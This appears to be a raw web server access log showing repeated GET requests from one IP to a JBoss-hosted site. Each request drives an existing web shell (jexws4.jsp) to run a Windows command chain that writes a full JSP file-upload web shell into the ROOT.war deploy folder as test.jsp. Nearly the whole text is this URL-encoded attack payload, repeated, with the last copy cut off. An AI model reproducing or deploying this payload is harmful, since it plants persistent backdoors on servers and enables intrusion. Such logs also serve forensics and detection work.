S784262506 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S784209453 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S784148853 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S784095378 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%